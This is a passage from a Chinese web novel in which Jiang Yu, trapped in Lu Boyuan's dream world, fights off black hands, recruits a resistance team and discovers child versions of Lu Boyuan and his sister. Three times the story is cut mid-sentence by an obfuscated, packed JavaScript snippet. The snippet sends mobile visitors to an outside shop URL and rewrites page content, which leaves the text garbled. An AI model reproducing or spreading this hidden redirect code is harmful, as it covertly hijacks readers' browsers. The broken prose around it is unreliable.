姜渔向后望去，远处位于最高点的远国幼儿园，已经被蘑菇云般的灰尘吞噬了。正当姜渔思索着园长有没有可能随着地震坠下万米高空时，视线尽头出现了几道身影，彻底粉碎了姜渔的幻想。 只见一片绿荫草地的高坡处，从漫天灰尘中走出了一道身形，赫然是隐隐已经变成三米高的园长，他走在最前面，身后则带着列成一横排的数十名学生，一行人浩浩荡荡地，正向山下的城市走来…… “姜小渔！你到底怎么样了！” 似乎是因为陆伯原的幻境沼泽正在坍塌，姜渔再次听到了纪小麦的呐喊。不过纪小麦的声音已经有些嘶哑，听得出来她已经呼喊了很久。 “我没事！”姜渔大声向着天空说。 “你尽快啊！我听到丁素他们说还有三个小时就要到主城了，到时候你——” 随着园长率领学生逼近，纪小麦的声音再次戛然而止。 看来幻境再次隔绝了纪小麦的声音，姜渔也不再说话，默默盘算着时间：距离自己来到幻境，对比丁素等人的行驶速度，能看出现实与幻境沼泽必然存在着时间差，而且现实中的时间流速，会比幻境中的时间流速更快。 自己必须要加快进度了。 姜渔明白纪小麦未说完的话，等到了主城，如果自己还没醒来，可不知道丁素等人会怎么处理自己。 往好了想，丁素会把自己送进主城。 但是，陆伯原就遭殃了。他会被直接送走，到那时候，不管陆伯原是被官方送走，还是如唐千苇计划的那样，将陆伯原私自带走，两种情况都会让自己和陆伯原分开。 姜渔现在仍不知道，1301室是怎么连接到陆伯原的幻境沼泽的。 如果是依靠距离的话，那么随着自己和陆伯原分开，1301室会不会和陆伯原的幻境沼泽断联？到了那时候，如果自己仍然没有逃出去，又会不会永远困在陆伯原的幻境沼泽中？甚至，直接死去？ “没事就好。”陆伯原听到姜渔刚才对着天空大喊后就陷入沉默，还以为姜渔是不是因为受刺激太深，给自己加油打气呢，于是回应了一句。 “谁跟你说话了，先跑！”姜渔回过神来，向陆伯原冷冷说，“一边跑一边好好给我想想你他大爷的到底要去哪！！” 说完，姜渔率先动身，向城市的更深处狂奔！ 然而，以姜渔为首的几个人并没有跑出去几步，楼宇间的无数眼睛，竟然再次发生了异变！ 那些眼睛的长长睫毛，似乎收到了什么指令，开始缓缓向外延伸，睫毛的前端更是诡异地化作了一只只如同纸片轻薄的黑色小手，向几人抓来！小手穿过路人的身体，将一个个“幸福”的天空之城居民切成碎片。 一时间，天空与街道之间，宛如被一群黑色细蛇充满，而它们的蛇头，正是一只只黑色小手！血液四溅。 叮！ 姜渔在被满城的巨眼冲击过后，对眼下的异状已经不再感到惊讶，她冷静地抽出手术刀，反手劈向抓向自己的一只黑色小手。当手术刀与黑色小手交锋时，竟发出了嘹亮的金戈之声！ 街上的路人似乎看不到自己同伴被切碎，仍微笑着沿着既定轨道走着， 虽然小手被顺利割断，坠落在地化为黑烟。但姜渔收回刀后，心里一沉，手术刀的刀刃已经破烂不堪了。 “大姐大，这个给你。” 男孩紧紧躲在姜渔身后，他也注意到了手术刀的异样，连忙从怀中抽出一柄崭新的手术刀，递给姜渔。 姜渔虽然接过了手术刀，却没有及时道谢，而是抬头望去，心中暗骂了好几句：手术刀能有什么用？他们要面对的，可是成千上万的小手！ “该死！”另一边，陆伯原也用手术刀斩断了几只黑色小手。但他注意到，不远处的许江竹已经清空了弹匣，射出的子弹却只是打穿小手而已，根本无法阻挡小手的来势！于是陆伯原立即咬牙冲向许江竹身边，两只手分别抓住最近的两只黑色小手，他发出一声怒吼，将黑色小手生生扯断！ “快跑！”陆伯原回头向许江竹大声喊道！ 可……跑去哪里？ 许江竹愣在原地，不知如何是好。猛地，她目光定格在了身后的一家高档家居店，许江竹眼底闪过一丝坚决，她俯身前冲，奋力地挣脱袭来的黑色小手，不顾黑色小手指尖指甲的锋利，在冲过一群小手后，浑身血痕的许江竹一拳击碎橱窗玻璃，随即直奔厨卫区，拿起四把砍肉刀，重新冲了回来！ “拿着！”她大喊着将刀扔向众人！ 三柄长刀，在空中划过一个完美的抛物线，避开了所有黑色小手。 “好！”陆伯原接到刀后，利落地斩断几只死死抓住自己身子的黑色小手。 “收到。”姜渔松了一口气的同时发现自己对这个女生更欣赏了。 下一秒刀光环绕周身，姜渔将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192312|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的黑色小手全部斩断。 “啊？我？”另一边，小男孩也接住了刀，长刀的重量却让他差点踉跄摔倒，一脸欲哭无泪。 三人呈三角形，将男孩死死围住，倒是将他保护得很好，不过男孩也是心有余而力不足，此时只恨自己平时没有多喝牛奶。 而就在几个呼吸之后，数只黑色小手还是突破了三人的阵型，伸向了男孩！ 男孩吃力地试图挥动长刀，但以他的力气，根本无法自如使用高级合金制成的砍肉刀。他吓得摔倒了，连连后撤，当被逼到墙根底下，无路可退时，只能选择蜷缩着身子，恐惧地等着死亡降临。 不过，他一直没有呼救。 似乎是，不想因为自己再连累他人了。 姜渔眼尖，她注意到身后的男孩摔倒时，那些小手忽然在半空中停滞了。 下一秒，竟是许江竹眼疾手快地把小男孩拉了出来。 刚刚，小手为什么停下了？一个念头逐渐在姜渔的脑袋中成型。 当初，他们躲在卫生间的隔间里时，吸顶灯罩上，明明有眼睛的图案，结果园长走进卫生间内时，却还是要一扇门一扇门地撞开！ 这是因为园长通过走廊上女生尸体的眼睛，只能看到她们几人钻进了卫生间。 而自己当时做了一个举动——在进入卫生间后，第一时间拉下了窗帘！ 这时，灯并没有开。房间内一片漆黑，仍然可以看做是“眼睛无法在黑暗中看见东西”。 但是，园长进入卫生间内时，撞开了门，房间里有了光，她们几个人却还是没有被发现—— 所以，两者之间的变数，就在于影子！ 无论是漆黑一片，还是有了丝丝阳光，当时的光源照射角度都不足够照射出她们的影子！ …… 重新梳理了一下思路，姜渔越发笃定， 姜渔再次斩断最近的几只小手后，翻身搂起男孩，大力揉了揉他的头发：“你立大功了！” “是阴影……”姜渔连忙告知众人：“是阴影！那些眼睛看的不是我们，是影子！” 许江竹脸上浮现出疑惑。 此时，姜渔把她的脸扭向一个微笑路人，“你看，它也没有影子，它们都没有影子。” 所以，这些眼睛可以定位的，只是她们这些人的影子而已。 众人环顾四周，果然这些路人都没有影子，终于了然。 姜渔肩下搂着男孩，一边前冲，一边喊道：“去地铁站！地铁站的隧道！那里没有影子！” 陆伯原与许江竹闻声，立即随着姜渔，在边砍边跑了几十米后，冲进了地铁站。 地铁站内，人群熙熙攘攘。人头耸动中，只看到两女一男一小孩的奇怪组合，持着夸张的长刀十分生猛地冲了进来，为首的女生更是连连叫喊着“让开让开让开！”，人群同地面上的路人一样没有意识，几人生生撞开一条路，然后奋不顾身地跳向漆黑的隧道中…… 哒哒哒…… 在隧道中又跑了几十米后，姜渔确认身后再没有小手跟来，这才停下脚步，还好这些路人没有攻击性，不然车轮战也会让他们全军覆没…… 她倚着墙，连喘了几口粗气，正要说话，旁边一间与墙壁同色的门，忽然开了…… 一只手忽然抓住了姜渔的肩膀，将她拉了进去！ 17. 远国幼儿园（八） “大姐大！”男孩惊叫出声，急忙从大开的门后钻了进去，陆伯原与许江竹的心也提到了嗓子眼，同样追了进去！ 房间内，昏黄的灯亮着—— 姜渔微微眯眼，她看到这是一间破败十足的检修室，这里站着五道隐约的人影，除此之外，四面墙上、天花板、与地板上，都以鲜血画满了复杂的图案，像是一种阵法…… 姜渔并没有选择第一时间动手。 因为她在被拉进来的时候，听到了一句声音莫名熟悉的低语：“快进来。” 当骤然见到光线的不适感褪去后，姜渔恢复了视力，看清屋内五人的样貌后，眼底渐渐浮出了一丝惊讶。 这五个人穿着灰色的破烂制服，真的像是什么检修人员，但腰间手上小腿处，武器齐全，每个人眼里都英气十足，充满了一种超然与倔强的感觉。 这五个人，她在现实中才见过，是丁素、宋涯、唐千苇、贺少云、顾礼。 “看来你们也能看得见那些黑色小手，不然不会跑到这里来。”丁素观察着姜渔等人，下了结论，“放心吧，这里是安全的。” 丁素话音落下，剩余四个人的目光都看了过来。 很好，熟悉的感觉。 刚刚才在我的公寓经历过，你们这几个家伙也没礼貌地破门而入…… 不过，陆伯原，在你的幻境沼泽，总算出现了几个真正有用处的朋友。 姜渔回头向陆伯原投去一个欣慰的眼神。 陆伯原已经接受了姜渔的莫名其妙。 “你们是什么人？”姜渔点点头，算是回答丁素刚才的问题。 “远国反抗队。”丁素并不隐瞒，“你是谁？” 很好，丁素在这儿也是很靠谱的模样，姜渔想到纪小麦的提醒，她没时间再和他们绕弯子了。 “我是你们的……算是队友吧，因为一些原因，你们忘记了我。”姜渔单刀直入语气十分真诚，“我现在需要你们的帮助，但这一次帮助，或许要搭上性命，你们愿意吗？”如果同行就算队友的话，她并没有撒谎。 “不是……谁啊你？”唐千苇起身，脸色不善。 “唐千苇，你很喜欢打架吧？我保证接下来的战斗会打得你抬不起拳头来。”姜渔瞄了唐千苇一眼，当注意到唐千苇微微动容的表情后，目光依次从几人脸上扫过—— “顾礼，你想知道这些黑色小手的真相吗？跟着我就可以。” “贺少云，我很喜欢你的幽默。如果这次的旅程中没有你，那就太无聊了。” “宋涯，如果你只会躲在暗处防备一切的话，反抗是不会成功的，站到明处来吧。” “丁素——丁素队长，我想起来了，你是不是很喜欢让人举起双手？” 姜渔环视一圈后，看着丁素，话音落下时忽然双手举至眉间，这种莫名其妙的举动立即引得对面几个人瞬间防备起来。 但姜渔只是缓缓将双手合十，又慢慢将手放在胸前，一副请求的架势。 她的目光停在丁素身上，一如她们初次见面时的对峙一般。 “姓名，姜渔。”姜渔淡笑着说，“丁素队长，为了城里百姓的安全，我现在诚恳地请求你，拼上远国反抗队全队的性命来帮助我。” 丁素，一个和于队长一样为了所谓正义就可以奉献生命的家伙。“为了城里百姓的安全”，这句话显然是她的死穴。 屋内沉默良久，丁素终于开口反问：“你要做什么？” “我要你们陪我去找一个地方。”姜渔看着一旁的陆伯原说，“一个美好的地方。” 房间内，丁素几个人互相对视了一眼。 “在这座城市里，如果还存在什么‘美好的地方’的话……”顾礼揉了揉太阳穴， “那就只有圣地了。” 姜渔追问：“圣地？” “不错。那里是眼睛不会注视到的地方。”顾礼表情认真，“那里有草原，小河，村落，教堂。很久之前，那是一个充满了宁静与幸福的乐园。” 教堂…… 我第一次醒来的时候，就是在一个古老的教堂里。会是顾礼口中说的那个地方吗？ 姜渔看了身边的男孩一眼，若有所思。她就是在那里第一次见到了小男孩。好像是什么人的葬礼。 陆伯原忽然在身后开口了：“那不是乐园，也不是圣地。那就是个很普通的地方。” 顾礼有些不满：“你怎么知道？圣地只存在在这座城市中最古老最神圣的传说之中，可能根本没人能成功抵达那里，或许圣地根本就不存在也说不定……” “我当然知道。”陆伯原语气淡然，他看向一头雾水的许江竹，“那是我的家。” 一时间，房间内陷入了沉默，只有陆伯原坚定的低语：“姐姐，我会带你回家的。” 许江竹有些不知所措：“可我真的不认……” 陆伯原打断了她：“没关系，没关系的。” 姜渔的目光重新回到男孩身上： 看来，第一次她出现的教堂，就是所谓的圣地无疑了，同样，圣地也是陆伯原的家。 一方面，陆伯原因为某些原因，将自己的“家”埋在了心底极深的地方，以至于他虽然记得要“带姐姐走”，却不知道走向哪里。 另一方面，作为陆伯原幻境沼泽中存在的幻体，丁素等人代为掌握着陆伯原心底最深处的秘密，陆伯原的“家”，被丁素等人拟化成了“圣地”。 当一切串联起来，就能解释为什么陆伯原，甚至是许江竹都下意识地照顾和保护这个男孩了。 因为男孩正是来自于教堂，很有可能属于陆伯原在童年时曾经见过的人之一。但陆伯原想必离家多年，从未再见过男孩长大后的模样，便作为小孩的形象出现在幻境沼泽中。 他们来自同一处地方，是久未谋面的故人。 “不管那是圣地，还是谁的家。那里怎么去？你知道吗？”姜渔直视顾礼。 “等下一班地铁来到，乘地铁至终点站，穿过两条街区，便可以抵达。”顾礼回答说，“不过，那两条街区极为凶险，不像你们在上面遇到的那些小手一样好对付。” 姜渔活动了下拳脚：“跟我走吧，在这里作祟的一切脏东西都会被摧毁的。” “我只有一个问题。”丁素开口吸引了众人的目光，“你的自信到底来自于哪里？” 来自于哪？ 该说来自一年的厮杀，还是来自数不清的纪小麦，亦或是来自每一次从幻境沼泽中醒来的怅然若失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197095|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？姜渔被问到了，她的答案有很多，但思绪定格在了最后一次的幻境沼泽中。 当时，她看着那一块抽象的蛋糕，回忆起了自己与纪小麦的友谊。 于是她说：“是一个神。” 姜渔的回答超出了所有人的意料，顾礼忍不住问：“神？” “海猫神。它存在于深海中，以一只猫的形象出现，有两只颜色不一样的眼睛，九条颜色不一样的尾巴。”姜渔说，“我见过它，它赋予了我摧毁一切邪祟的力量。” “完全没听过啊。”顾礼挠挠头，“而且像是什么小学生的简笔画。” “只是没经过信徒的艺术加工而已。”姜渔不带烟火气地白了一眼顾礼，环视了一圈屋内如符箓、阵法般的图案，说，“还是说你们不迷信？” 顾礼苦笑：“在这样的世界里生活，很难再坚持什么唯物主义了吧。” “那还等什么？”唐千苇抽出了腰间的一柄精钢匕首，“一直躲在这里，早就受够了！” 丁素淡淡看了唐千苇一眼。 唐千苇气势顿时弱了几分：“我倒是对队长的决策没有意见啦……” 丁素转过头，侧耳听到轰隆隆的声音将近，说：“地铁来了。出发吧。” “好！”唐千苇激动的声音带头响起，随后以丁素为首，她拉开门，身形如猎豹一般隐入黑暗之中，姜渔带着陆伯原等人紧紧跟住，丁素小队剩余几人则垫后。 一行人穿过黑暗，翻上站台，下一秒，地铁随着尖锐的喷气声停在站台边，众人鱼贯而入。伴着几声枪响，地铁内的灯都被许江竹的黄铜左轮击碎，乘客们一如既往，在黑暗中并没有什么反应。 “这里还好，最重要的问题还是在地面上的街区……”顾礼在黑暗中向许江竹投去赞许的目光。 然而，他话音刚落，地铁旁边就闪过了一块荧光屏幕！ 那是地铁隧道中的广告牌，上面赫然已经伸出一只直径如一米的黑色巨手！那只巨手轻易地穿破地铁坚硬的车身，抓住了刚刚说完话的顾礼！ 咔嚓。 一声头骨碎裂的声音，在地铁中突兀地响起！ “顾礼！”唐千苇发出了愤怒的咆哮，她用尽全身力气高举匕首斩了下去！却只传来一阵刺耳声音。 借着又一块荧光屏幕经过，大家看到地铁中的那只黑手非但丝毫未损，还以一种十分顺滑的姿势，垂直反转，抓向了唐千苇！ “小心！”姜渔持着砍肉刀奋力砍去，嗡得一声吼！巨手被瞬间斩落！ 看来这一切都与陆伯原的意识息息相关。即如能发现到这里是幻境沼泽中的天才万事通，夜莺小队的队长丁素，都不是陆伯原所畏惧的“园长势力”的对手。在陆伯原眼中，万事通固然天才，丁素固然坚守正义，但是在实力面前，都抵不过那一位“园长”。而身为幻境沼泽中的“外来者”，因为陆伯原对她的完全陌生，以至于她对这些东西具备更强的攻击力。 “多谢！” 唐千苇刚刚道谢，又一只黑色大手已经击穿了她的胸膛！ 它来自方才出现的第二块广告屏幕，而接连不断地广告屏幕正在地铁之外掠过，一只只黑色大手袭向众人所在的车厢，它们带着绝望的气息，挤满了整个车厢！ 18. 远国幼儿园（九） “队长，小心！” 宋涯沉声嘱咐丁素，与她和贺少云围成三角阵型。 强敌在前，他们已经没有余力沉浸在两名队员牺牲的悲伤中，也许他们一直做好了这样的准备。 又一块广告灯牌飞速掠过。 “你说他俩能见到海猫神吗？”生死存亡之际，贺少云忽然说起烂笑话，“海猫神到底多大啊，我能撸一撸吗？不过我对猫毛过敏，也怕猫的爪子。好吧，其实我是狗狗派的，也不知道有没有海狗神？” 下一秒，贺少云收起脸上的笑容，盯着向自己袭来的两只巨手，带着决然的目光冲了过去！ 一声闷响，伴着白色光芒响起。两只黑色大手与贺少云的身体共同消融了。 那像是一种炸弹，具备极高的温度。 “想看海狗去动物园就好了啊。”姜渔切断了几只黑色大手，将陆伯原三人紧紧护在身后，她看着贺少云仍在燃烧的骨骼，轻声回答，虽然姜渔知道他们只是幻体，胸腔内仍然升腾着一股悲伤的情绪。可她与剩下的人一样，没时间悲伤。 因为留给众人的空间已经越来越少了。黑色巨手的侵袭并未褪去，每当广告灯牌闪过，这些黑手就会以极快的速度冲向众人。 姜渔看了一眼丁素的方向，发现那里已经只剩下了丁素孤零零一人。 还没等姜渔反应过来，又一块广告灯牌闪过，伴着黑色大手的袭来，宋涯的身形显身了。 准确来说，那并不该称之为“身形”了。因为宋涯的每一寸肌肤都已经裂开，从他的体内长出了十数只如蝙蝠薄翼的漆黑骨骼！ 那些骨翼轻易地刺穿了包围众人的许多黑手，并将其死死钉在车厢上不再动弹！ 宋涯却已经面如金纸，这些从他体内生出的骨骼似乎耗费了他所有的生命力。他受骨骼支撑，悬在车厢半空中，再无一声喘息，只有如蛛网般的骨骼仍在安静地保护着众人。 “马上就到了。”丁素压下眼中的痛楚，平静回身，向姜渔说：“我会为你们断后，但街道上的情况会更加危险。” 她也做好了牺牲的准备。 “我不会辜负你们的牺牲。”姜渔并未对丁素准备好牺牲自己的意图表示什么，而是说：“道谢的话，等我们再见面时再说吧。” 姜渔说这话时突然有些熟悉感，好像她和丁素他们真的是队友，真的一起打过仗，并且拥有某种可以随时为了彼此牺牲的默契。 “你觉得我们会再见面？”丁素笑了笑，对姜渔古怪的话并不在意，“这我可不能保证。但作为我们躲在这里多年见到的第一个人，我希望我的决定是正确的。” 姜渔点点头：“是正确的，也是会再见的。” 车停住了，姜渔再次回头看向丁素，她拿着武器对姜渔点了点头。姜渔回给她一个放心的眼神，沉声说了句“走”后，带着陆伯原几人冲出车厢。 数不清的黑手向众人席卷而来时，伴着丁素的一声怒喝，剧烈的火光在身后吞噬了一切—— 姜渔没有回头，丁素手持着一柄精巧的小手枪，以枪口处冒出的一点火星开始，她整个人化作一个火人，与那些火舌一起，带着滔天的怒意，对抗着满天的巨手。 十几分钟后，几人终于冲出地铁站，重新回到街上。 只见两侧街道，高楼林立，黑色的巨手从玻璃上的眼睛睫毛处蠕动出来，抓向众人。 而在百米开外，一栋残破的教堂，只剩下一盏玻璃窗，反射着阳光，孤零零地伫立。 “姐姐……” 姜渔回头看去，陆伯原抱着许江竹，满脸哀伤。 不知何时，许江竹的腹部已经被洞穿，鲜血汩汩流出。她的手仍紧握着长刀，双目却在逐渐失焦。 男孩抓着姜渔的衣角，眼神中同样充满难过。 “加快速度。”姜渔咬咬牙，坚毅地望向教堂方向，“快回家了。” “多谢。”陆伯原点点头，低声说，“没有你，我们早就死在路上了。” “免了。我也是在救自己。”姜渔说罢，拉着男孩开始狂奔。 一路上，黑色巨手如浪潮般冲来，它们的巨手上长出了锋利的指甲，刮得姜渔皮开肉绽，浑身是血。似乎是因为许江竹死亡将至，天空之城的震动越来越频繁，几乎从没停下过。伴着轰隆隆的巨响，街道碎裂，大楼崩塌，碎石与巨手中，四个人如沧海一舟，虽摇摆不定，却坚定地向着灯塔般的教堂航行。 陆伯原一只手搀着步伐越来越慢的许江竹，另一只手挥舞长刀，顶住了所有巨手，只能称之为堪堪自保。姜渔的砍肉刀卷了刃，肺里火烧火燎，每喘一口气都传来撕裂般的剧痛。她的双眼死死凝望着教堂的方向，手臂早被血染红，但每一次挥刀都用尽全力，利落无比。 随着最后一道刀光落下，姜渔劈开了一只巨手，踏入了一片泥泞的草地中。 陆伯原的挥刀已然成了机械性的动作。他又全力挥了几下刀后，才发现刀下已然没有任何阻力。 姜渔回头望去，所有巨手都消失了。破碎的城市中，行人井然有序，车辆照常行驶，随后消失在断裂的街道中，坠向万米高空。 终于到了，圣地，或者说，陆伯原的家。 姜渔望向前方，这是一座宁静的村落。说是村落，但只有方圆数百米大小。最近的便是那座姜渔最初降临的教堂，它的一半已经被一栋高楼取代，另一半毗邻着高楼，摇摇欲坠。方圆数百米的边缘，几乎所有建筑都是如此：一半维持原状，一半成为高楼。 这是一座被城市吞噬的村落。 姜渔理解了眼前环境的意象，看向陆伯原。 他搀着许江竹，艰难地向前迈去。 他们行进方向的前方不远处，是一间黄土筑成的小平房。木门口贴着通红的楹联，门口两侧的玻璃擦得透亮，玻璃下的窗台摆着新鲜的玉米。 门上没有上锁，陆伯原搀着许江竹越走越近。但几步之后，姜渔看到陆伯原停住了。 姜渔心里生出一丝不妙之感，她赶上前，凑过去查看。 许江竹已经没有了声息，她的手无力垂下。 陆伯原嘶哑着嗓子开口问道：“你听到她最后说什么了吗？” 姜渔摇摇头。 “她说，这不是我的家，但是谢谢你带我来这里。这里真是一个好地方，我觉得很幸福。” 陆伯原忽然笑了，泪却流了下来。 “可她不用谢谢我啊……这里就是她的家，她是我的姐姐……” 陆伯原哽咽着放下许江竹，他无力地跪在许江竹的尸体身边，身子伴着抽泣颤抖。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209428|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天忽然暗了。 姜渔三人抬头看去，整片天空竟化作了一只巨眼！ 这只眼睛不知蔓延几百米几千米，它的上下睫毛化作巨手，向众人袭来，又在这座村落的上空被什么看不见的墙挡住了，以至于无数巨手发出愤怒的锤击声！ 而透过巨手穿插的缝隙中，姜渔终于看清了巨眼中心瞳孔中的画面。 那是一幅幅以第一视角呈现的画面。 画面中的场景，即是他们所处的村落，不过要比现在更大，更热闹。 有小小的平房，古朴的教堂，辽阔的草原，与清澈的河流。但是在画面中出现的所有人，面目都是模糊的。 女人抱起他在房间内踱步，像是母亲。女孩拽着他奔跑在草原上，像是姐姐。牧师摸着他的头，递出了几块糖。肉贩子怒斥他，挥手赶人。一切都显得格外热闹，生命力十足。 姜渔看向呆呆望向天空的陆伯原。 很显然，这些是陆伯原的记忆。更准确一点，这是陆伯原小时候的记忆。 而在他的幻境沼泽中，藏着回忆的眼睛中，会延伸出无数黑色小手将他抓住，甚至杀死。看来对于陆伯原来说，这一座城市拒绝了他的这些回忆。城市吞噬着他小时候生活的村落，闪烁回忆的巨眼，同样代表着危险与死亡。 姜渔回首望去，即便这座天空之城正在分裂崩塌，仍掩不住它的繁华与奢侈。 可是，这座城市那么大，却容不下一个少年的童年。 在陆伯原心中，这座天空之城到底是什么？ 姜渔的思考被视线中出现的一道身影打断了。 园长，他已经变为七八米之高的巨人，浮动着黑色的绒毛，头顶一张黑漆漆的大嘴。他的步伐极大，比常人全力奔跑的速度还要快。 惨了。 虽然这里没有小手的侵蚀，但全城都是眼睛，我们的行踪明明是一直暴露的！ 转眼间，园长已经踏上了这一片“圣地”。伴着他的踏足，来自天空巨眼的黑色巨手也开始逐渐逼近了，天色渐黑，村落上空已经化为一片由黑色巨手组成的穹顶。 “王八蛋，我要杀了你！”一声爆喝响起！ 姜渔还未反应过来，陆伯原便已经从身边窜了过去！ “不要！”姜渔大喊，却为时已晚！她暗骂一声，随着陆伯原冲了上去。 前方，陆伯原高举着长刀，他用尽最后一丝力气高高跳起，刀身闪过一道银光，向园长的颈部狠狠砍去！ 下一秒，园长的大手以迅雷之势攥住了陆伯原！ 陆伯原哇地一声，吐了一口鲜血，随即，园长的手中传来骨骼碎裂的声音，松开手后，如泥鳅般的尸体，落在了姜渔面前。 姜渔不禁停住了脚步。 结束了。 就这样结束了。 这个鲁莽的王八蛋。 接下来会怎么样？ 喊纪小麦的名字？她会来救我吗？ 还是我会在下一秒死去？ 她很少陷入这样的绝望，因为这里毕竟是他人的幻境沼泽…… 迷茫之际，姜渔忽然听到了一声低喃。 “又失败了啊。” 姜渔向身后看去，男孩站在许江竹的身边，目光木然地看着陆伯原的尸体。 19. 远国幼儿园（十） 话音落下，光影流转。 姜渔听到身边传来一声嚼碎薯片的脆响。 她怔怔地回头，男孩坐在教堂的椅子上，他穿着没有一丝血迹的褐色短裤与白色衬衫，小脸干净，目光依然炯炯有神地看着一个方向。 她好像又回到了初临这个幻境沼泽时的教堂。 姜渔走过去，轻声问男孩：“喂，你叫什么名字？” 男孩瞄了一眼姜渔，说：“我没有什么名字。我的名字被我忘记了。” 姜渔想起来什么，追问：“那你有姐姐吗？” 男孩伸向薯片的手停下了，一脸戒备地问：“你认识我姐姐？” “许江竹，对吗？” 男孩皱眉，抬着下巴问：“谁啊你？” 姜渔不再答话了。 男孩没否认，就是默认。她猜对了。 一如她最后一次陷入幻境沼泽时，自己的身份被替换成了只见过一面的张勤，看着“幻体姜渔”与“幻体纪小麦”有说有笑一样。 因此，在幻境中，成年陆伯原死去时，幻境没有坍塌，因为真正的幻境主体不是他。 而是这个男孩，是被囿于童年时期的陆伯原。 与成年的自己，共同活在一个幻境沼泽中。 他用童年的视角，看着成年后的自己，一次次去营救自己的姐姐，又一次次失败。或许他清楚自己就是无法躲避以后的命运，但仍选择周而复始。 他参加着不变的葬礼，吃着不变的薯片，历经不变的考试，目睹不变的死亡，感受不变的悲伤与愤怒。 这是一座收押回忆的空中监牢，是一个少年无法挣脱的地狱。 “就叫你小陆吧。”姜渔蛮感慨地对男孩说，“你还藏得挺深的。” “我跟你很熟吗？”男孩撇撇嘴，倒是对姜渔强加的名字浑不在意。 “会熟的。”姜渔淡笑，又陷入沉思。 既然这里存在一个小陆伯原，那么……有没有可能，这里还会存在一个小许江竹？ 她脑海中灵光一闪。 记忆回到几个小时前，当她降临在教堂中，站在棺材前时，听到了纪小麦的声音后彻底苏醒。当时，教堂冲进来了许多人，而她躲在棺材后，看着小陆伯原曾向自己这边怒吼——“姐姐！” 自己彼时还认为是小陆伯原在提醒自己，但……如果事实不是这样呢？ 姜渔深深看了眼小陆伯原，目光移向她当时躲藏的棺材，快步走去。 棺材中，仍是熟悉的安详的女人面孔。 再次看见这个女人，姜渔内心已经有了隐隐的猜测，这个女人在小陆伯原心中也是无可比拟的存在，以至于她的葬礼成了小陆伯原人生的分水岭。 姜渔目光下移，女人的尸体被厚重的花瓣盖着。 她伸出手，将花瓣向两边简单拨了拨后，停止了手上的动作。 姜渔的目光定在藏在花瓣下的女孩身上。她穿着洁白的纱裙，蜷缩着，安睡在女人的腿上，白白嫩嫩，头发长而大卷，像个瓷娃娃，眼角下有一颗红色泪痣，与成年的许江竹一模一样。 姜渔忍不住，伸手捏了捏小许江竹的脸。 小许江竹悠悠醒转。 她有一双水灵灵的大眼睛，眼神先是有些迷惑，随即看到姜渔后，微微皱眉，正要说话时，熟悉的破门声与开枪声再次响起！ “靠。差点忘了这事儿。” 姜渔低骂了一句，忙将小许江竹紧紧抱了出来。棺材另一头，再次响起小陆的怒吼，姜渔侧身从棺材后露面，看到小陆又扑向了那名持枪的壮汉。 这孩子牙口也太好了。 姜渔唉声叹气一下，将小许安置好，表情认真地留下一句“不要乱动”的嘱咐后，如上次一样，捡起地面上碎裂的玻璃冲了出去！ 砰！ 姜渔猛地稳住身形，她看到那名壮汉在枪声响后，眉心处多出一个血洞向后倒去。但吊诡的是，这声枪响来自于她的身后！ 姜渔向后看去，小许江竹正站在棺材旁，她单手握着一把黄铜左轮，枪口处还在冒出缕缕硝烟。 小许江竹目光斜向姜渔，语气淡漠中带着一丝不满：“不要命令我。” 姜渔还想说些什么，熟悉的迷烟再次弥漫开来。 看来，一切谜题只能等到下一个环节解开了。或者，重头再来时，我需要找到破解迷烟的方法。 如果，还有机会和时间重头再来的话…… 姜渔看了眼已经晕倒的小许江竹，意志也不再做无谓的抵抗，选了个舒服的姿势闭眼晕倒了。 …… 不知过了多久，姜渔终于恢复了意识。 她睁开眼，向身边看去，小陆仍然坐在自己身边，小陆身边，是之前没有出现过的小许江竹，小许江竹身边，则是成年陆伯原。 姜渔心里有了底：所以，在这里，存在童年版本的陆伯原与许江竹，可以称之为小陆与小许，同时，小陆也是沉睡的陆伯原本人。成年版的陆伯原与许江竹均为幻体，便以本名称呼。 如果想重构陆伯原的精神锚点，或许小许才是最重要的切入点。 回家——这个意象，是否与小许有关。将小许带回家，就能重构陆伯原的精神锚点，帮助他找回神智？ 想到这里，姜渔视线越过豆丁小陆，向小许提问：“小许，你想回家吗？” “不要叫我小许。”小许江竹眉头一皱，不满开口。 这小姑娘，未免太难打交道了，边界感很强的样子，跟成年版的许江竹完全是两个样子。 姜渔有些头疼。 但极大的可能性，是小许的这种状态，才是陆伯原内心深处对“姐姐”最认可最熟悉的形象。 就像自己最后一次经历的幻境沼泽一样，幻境沼泽将自己的“精神锚点”纪小麦被异化成了拥有很幸福的童年形象。但实际情况却是，纪小麦手臂上的许多疤痕，并没有被全然呈现出来。 